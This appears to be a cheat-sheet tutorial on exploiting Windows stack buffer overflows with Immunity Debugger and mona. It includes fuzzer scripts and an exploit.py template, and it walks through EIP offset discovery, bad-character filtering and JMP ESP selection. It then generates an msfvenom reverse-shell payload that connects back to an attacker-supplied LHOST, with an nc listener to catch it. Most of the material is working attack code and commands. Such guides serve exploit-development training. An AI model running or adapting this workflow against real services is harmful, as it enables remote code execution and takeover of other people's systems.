Check Windows PE protections
Winchecksec
https://github.com/trailofbits/winchecksec
Compiling on Windows
git clone https://github.com/trailofbits/winchecksec.git
cd winchecksec
mkdir build
cd build
cmake ..
cmake --build . --config Release
Download last release
https://github.com/trailofbits/winchecksec/releases
Usage
.\Release\winchecksec.exe <PATH>.exe
Tools
Immunity Debugger
https://debugger.immunityinc.com/
Mona
https://github.com/corelan/mona
Mona installation
Drop mona.py into the 'PyCommands' folder (C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands\)
Install Python 2.7.14 or higher
Buffer OverFlow
Launch Immunity Debugger, then “Open” or “Attach” the .exe file.
Mona configuration
All mona commands must be run in the terminal inside Immunity Debugger (in the red rectangle).
Set the current working directory :
!mona config -set workingfolder c:\mona\%p
Fuzzing
Use fuzzer.py or fuzzer2.py, until the application crash inside Immunity Debugger.
# fuzzer.py
import socket, time, sys
IP = "<IP>"
PORT = <PORT>
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((IP, PORT))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send(string)
s.recv(1024)
s.close()
except:
print("Could not connect to " + IP + ":" + str(PORT))
sys.exit(0)
time.sleep(1)
# fuzzer2.py
import socket
IP = "<IP>"
PORT = <PORT>
payload = 1000 * "A"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP,PORT))
s.send(payload)
print "[+] " + str(len(payload)) + " Bytes Sent"
except:
print "[-] Crashed"
You just have to modify those two variables of the scripts above :
- IP
- PORT
When the application crashes, EIP should be equal to 41414141 (hex value of “AAAA”).
Crash replication & controlling EIP
Pattern
Generate a cyclic pattern to found the exact offset of the crash :
# Mona
!mona pc <SIZE>
# Metasploit
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <SIZE>
The size must be higher than the crash offset. Now modify the payload variable by the cyclic pattern :
# exploit.py
import socket
ip = "<IP>"
port = <PORT>
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
Re-run the exploit, the application should crash. To find the exact offset of the crash use :
!mona findmsp -distance <SIZE>
Size is the same as the one used to create the pattern. The result should be something like :
EIP contains normal pattern : ... (offset XXXX)
Get the offset, modify in exploit.py:
- The offset variable by the offset
- The retn variable by “BBBB”
- Remove the payload variable
offset = <OFFSET>
overflow = "A" * offset
retn = "BBBB"
payload = ""
Re-run exploit.py, EIP should be equal to 42424242 (hex value of “BBBB”). You now control EIP !
Finding bad characters
Certain byte characters can cause issues in the development of exploits. We must run every byte through the program to see if any characters cause issues. By default, the null byte (\x00) is always considered a bad character as it will truncate shellcode when executed.
We will send bad characters recursively and analyze if they need to be removed. Let generate the list of bad characters with mona :
!mona bytearray -b "\x00"
Copy the results in the variable payload. And re-run exploit.py, the application should crash. Now to found those bad characters use this command :
!mona compare -f C:\mona\<PATH>\bytearray.bin -a <ESP_ADDRESS>
If BadChars are found, we need to exclude them as well.
!mona bytearray -b "\x00 + <BAD_CHARS>"
# Example
!mona bytearray -b "\x00\x01\x02\x03"
Then compare again :
!mona compare -f C:\mona\<PATH>\bytearray.bin -a <ESP_ADDRESS>
Repeat those two steps until the results status returns Unmodified, this indicates that no more bad characters exist.
Finding a jump point
JMP ESP - Inside the .exe
!mona jmp -r esp -cpb "<BAD_CHARS>"
JMP ESP - inside a DLL
!mona modules
We need to found a .dll were Rebase, SafeSEH, ASLR, NXCompat are sets to False. When you found it, run the command below to search for a JMP ESP (FFE4), inside the dll :
!mona find -s "\xff\xe4" -m <DLL>
Return address
Choose an address in the results and update exploit.py :
- Setting the retn variable to the address, written backwards (little-endian)
# Example of a JMP ESP address
0x625011af
# exploit.py
retn = "\xaf\x11\x50\x62"
Generate payload
Now we generate our shellcode without the badchars that we found :
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b "<BAD_CHARS>" -f c
Copy the generated shellcode and update exploit.py :
- Setting the payload variable equal to the shellcode
Prepend NOPs
A NOP-sled is a technique for exploiting stack buffer overflows. It solves the problem of finding the exact address of the buffer by effectively increasing the size of the target area, \x90 represents a NOP in assembly. This instruction will literally do nothing and continue on with code execution.
padding = "\x90" * 16
Start a listener
nc -lvp <PORT>